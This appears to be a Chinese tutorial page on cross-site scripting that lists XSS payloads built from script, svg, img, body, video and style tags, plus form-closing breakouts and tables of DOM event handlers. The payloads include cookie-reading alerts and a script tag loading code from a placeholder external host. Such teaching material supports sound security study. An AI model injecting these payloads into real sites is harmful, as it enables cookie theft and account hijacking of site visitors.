当前位置: 首页 > article >正文

五、web安全--XSS漏洞(2)--XSS相关payload

XSS 主要是针对网页客户端的一种攻击,那么就要执行 JavaScript 代码,那么无疑需要用到 JavaScript 语言以及在 HTML 中可以解析 JavaScript 代码的标签。

1、标签类

(1)script

<script></script>标签是最直接的 xSS payload,标签可以在浏览器渲染 DOM 树的时候同步执行 Javascript 代码,他可以引用外部,也可以将代码插入标签内
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>

(2)svg

<svg></svg>标签是标记定义 5VG 图形的容器,其在 onload 方法中是在 SVG 容器初始化的时候执行代码
<svg onload="alert(1)">

(3)img

<img />标签是加载图片资源的标签,其在无法加载图片资源的时候会执行 onerror 方法

<img src=1 onerror=alert("/xss/")>
<img src=l onerror=alert(document.cookie)>
<img src="正确图片地址"onload="alert(/xss/)"/>

(4)body

<body></body> 是定义 HTML 文档的主体。其包含文档的所有内容(比如文本、超链接、图像、表格和列表等等。)

<body onload=alert(/xss/)>
<body onpageshow=alert(1)>

(5)video

<video></video>标签是引用远程媒体视频的标签,用法与 img 类似
<video onerror="alert(/xss/)" src="1"/>

(6)style

<style></style>标签是加载 css 资源的标签
<style onload=alert(1)></style>

2、表单类

在 web 中,最常见的为表单了,表单中的标签有<input />、<textarea></textarea>等等 在这里更多的是闭合语句来构成 XSS 比如

"/><script>alert(/xss/)</script>
></textareax<script>alert(/xss/)</script>

3、事件类

在 HTML 中,有许多事件操作的方法(DOM 事件),如 onclick 事件、ondblclick 事件等等,只需要用户点击,或者双击也可以执行 JavaScript 代码需要闭合,在块级元素中添加事件方法。

(1)鼠标事件

事件名称描述DOM
onclick当用户点击某个对象时调用的事件句柄。2
oncontextmenu在用户点击鼠标右键打开上下文菜单时触发
ondblclick当用户双击某个对象时调用的事件句柄。2
onmousedown鼠标按钮被按下。2
onmouseenter当鼠标指针移动到元素上时触发。2
onmouseleave当鼠标指针移出元素时触发2
onmousemove鼠标被移动。2
onmouseout鼠标从某元素移开。2
onmouseover鼠标移到某元素之上。2
onmouseup鼠标按键被松开。2
onmousewheel鼠标滚轮被滚动。2

(2)键盘事件

事件名称描述DOM
onkeypress某个键盘的键被按下并松开。2
onkeydown某个键盘的键被按下。2
onkeyup某个键盘的键被松开。2

(3)框架/对象(Frame/Object)事件

事件名称描述DOM
onabort图像的加载被中断。 ( )2
onbeforeunload该事件在即将离开页面(刷新或关闭)时触发
onerror在加载文档或图像时发生错误。 ( , 和 )2
onhashchange该事件在当前 URL 的锚部分发生修改时触发。
onload一张页面或一幅图像完成加载。
onpageshow该事件在用户访问页面时触发2
onpopstate该事件在窗口历史记录改变时触发。
onresize窗口或框架被重新调整大小。2
onscroll当文档被滚动时触发的事件。2
onunload用户退出页面。 ( )2

等,详见链接https://www.runoob.com/jsref/dom-obj-event.html

http://www.lryc.cn/news/2391963.html

相关文章:

  • AI架构师的新工具箱:ChatGPT、Copilot、AutoML、模型服务平台
  • 关于智能体接入后端,在Apifox能够传参数给智能体的测试
  • 有铜半孔工艺的制造难点与工艺优化
  • python分步合并处理excel数据
  • MC0309魔法项链
  • 为 Ubuntu 安装的软件创建桌面图标
  • uni-app 中开发问题汇总
  • https下git拉取gitlab仓库源码
  • 距离计算范围查找距离排序
  • PS linux 基础篇1-AXI_DMA
  • AI大模型学习三十、ubuntu安装comfyui,安装插件,修改返回405 bug,值得一看喔
  • 11高可用与容错
  • 百度之星2024 初赛第一场 补给
  • Collection集合遍历的三种方法
  • Taro on Harmony C-API 版本正式开源
  • 知识隔离的视觉-语言-动作模型:训练更快、运行更快、泛化更好
  • [ARM][架构] 02.AArch32 程序状态
  • Dockerfile正确写法之现代容器化构建的最佳实践
  • React---day4
  • ArkUI(方舟UI框架)介绍
  • 【Bug】定时任务中 Jpa Save 方法失效
  • 英语科研词汇现象及语言演变探讨
  • C# 打印PDF的常用方法
  • 若依微服务的定制化服务
  • Axios 如何通过配置实现通过接口请求下载文件
  • 小表驱动大表更快吗,不是
  • 20250529-C#知识:运算符重载
  • 【HW系列】—目录扫描、口令爆破、远程RCE流量特征
  • 如何在WordPress网站中添加相册/画廊
  • 【NLP基础知识系列课程-Tokenizer的前世今生第一课】Tokenizer 是什么?为什么重要?